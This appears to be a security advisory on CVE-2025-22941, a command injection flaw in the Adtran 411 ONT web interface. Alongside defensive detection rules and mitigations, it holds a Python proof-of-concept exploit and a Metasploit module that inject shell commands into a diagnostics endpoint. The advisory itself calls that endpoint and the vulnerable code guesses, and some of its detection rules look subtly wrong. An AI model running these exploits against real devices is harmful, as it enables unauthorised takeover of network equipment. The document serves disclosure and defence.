CVE-2025-22941

Executive Summary

CVE-2025-22941 is a critical command injection vulnerability discovered in the web interface of the Adtran 411 ONT (Optical Network Terminal) running firmware version L80.00.0011.M2. The flaw allows an unauthenticated attacker to inject arbitrary operating system commands through the web interface, leading to full privilege escalation to root and complete compromise of the device. Given the device's role as a network edge gateway, exploitation could enable persistent access, traffic interception, and lateral movement within a service provider's network. No official patch has been released at the time of analysis.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivially exploitable over the network without authentication, making it a prime target for botnets and targeted attacks against ISP infrastructure.

Deep Dive & Mechanics

The Adtran 411 ONT web interface is a lightweight embedded HTTP server that handles device configuration and monitoring. The command injection occurs in one or more input fields (likely in diagnostic or configuration pages) where user-supplied data is passed unsanitized to a shell command. For example, a parameter such as ping or traceroute may be used to execute system commands, but the input is not properly escaped or validated.

The underlying operating system is typically a stripped-down Linux distribution. The web server runs with root privileges, so any injected command executes with full system access. Attackers can leverage this to:

• Install persistent backdoors (e.g., reverse shells, SSH keys)
• Modify firmware or configuration
• Exfiltrate sensitive data (e.g., PPPoE credentials, VLAN configs)
• Launch attacks against internal networks

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$target = $_POST['ip_address'];
$output = shell_exec("ping -c 4 " . $target);
echo "<pre>$output</pre>";
?>

Patched Code (Conceptual):

<?php
$target = $_POST['ip_address'];
// Validate input: only allow IP addresses
if (filter_var($target, FILTER_VALIDATE_IP)) {
    $output = shell_exec("ping -c 4 " . escapeshellarg($target));
    echo "<pre>$output</pre>";
} else {
    echo "Invalid IP address.";
}
?>

The patched version uses escapeshellarg() to escape shell metacharacters and validates the input format. Without a vendor patch, users must implement such mitigations manually or restrict access.

Exploitation & Lab Setup

Red Team

Proof-of-Concept Exploit (Python):

import requests

target_url = "http://<ONT_IP>/cgi-bin/diagnostics"
payload = "127.0.0.1; id"

data = {
    "ip_address": payload,
    "action": "ping"
}

response = requests.post(target_url, data=data)
print(response.text)

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Adtran 411 ONT Command Injection',
      'Description' => 'Exploits command injection in the web interface',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2025-22941']],
      'Targets' => [['Automatic', {}]],
      'Payload' => {'BadChars' => "\x00\x0a\x0d"}
    ))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri' => '/cgi-bin/diagnostics',
      'data' => "ip_address=127.0.0.1;#{payload.encoded}&action=ping"
    })
  end
end

Lab Setup:

1. Obtain an Adtran 411 ONT with firmware L80.00.0011.M2.
2. Connect to the management interface (typically on port 80 or 443).
3. Use a tool like Burp Suite to intercept and modify requests.
4. Inject commands in parameters such as ip_address, hostname, or domain.

Blue Team

Detection Steps:

1. Monitor web server logs for unusual POST requests to /cgi-bin/diagnostics or similar endpoints.
2. Look for shell metacharacters (;, |, &, `) in HTTP parameters.
3. Check for outbound connections from the ONT to unknown IPs (potential reverse shells).
4. Verify firmware integrity using checksums.

Honeypot Configuration:

• Deploy a low-interaction honeypot mimicking the Adtran web interface.
• Log all POST data for analysis.
• Alert on any command injection patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections from ONT to IPs on non-standard ports (e.g., 4444, 1337)
  • HTTP POST requests containing shell metacharacters to /cgi-bin/diagnostics
  • DNS queries to suspicious domains from the ONT

• Host IOCs:

  • Unexpected processes running as root (e.g., /tmp/.backdoor)
  • Modified /etc/passwd or /etc/shadow files
  • New SSH keys in /root/.ssh/authorized_keys
  • Unusual cron jobs or startup scripts

• File IOCs:

  • Files in /tmp with suspicious names (e.g., .update, exploit)
  • Modified web interface files (e.g., /www/cgi-bin/*)

Detection Engineering

YARA Rule

rule CVE_2025_22941_Adtran_Command_Injection {
    meta:
        description = "Detects command injection attempts against Adtran 411 ONT"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22941"
    strings:
        $cmd1 = /ip_address=.*[;&|`$]/
        $cmd2 = /hostname=.*[;&|`$]/
        $cmd3 = /domain=.*[;&|`$]/
        $shell = "shell_exec" nocase
    condition:
        any of ($cmd*) or $shell
}

Sigma Rule

title: Adtran 411 ONT Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests with shell metacharacters to Adtran diagnostic endpoints
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/diagnostics'
        cs-uri-query|re: '.*[;&|`$].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in rare cases
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-22941 - Adtran 411 ONT Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/diagnostics"; http_uri;
    pcre:"/[;&|`$]/";
    sid:1000001;
    rev:1;
    reference:cve,2025-22941;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

1. Immediate Actions:

   • Isolate the ONT management interface from the internet and untrusted networks.
   • Implement strict firewall rules to allow only trusted IPs to access the web interface.
   • Disable the web interface if not required for operations.

2. Vendor Patch:

   • Contact Adtran support for a firmware update. As of now, no patch is available.
   • Monitor Adtran's security advisories for future updates.

3. Compensating Controls:

   • Deploy a Web Application Firewall (WAF) with rules to block command injection patterns.
   • Use network segmentation to limit the ONT's ability to initiate outbound connections.
   • Enable logging and alerting on all administrative access to the device.

4. Long-Term:

   • Replace affected devices with patched or alternative hardware.
   • Implement a vulnerability management program for CPE devices.

Valters IT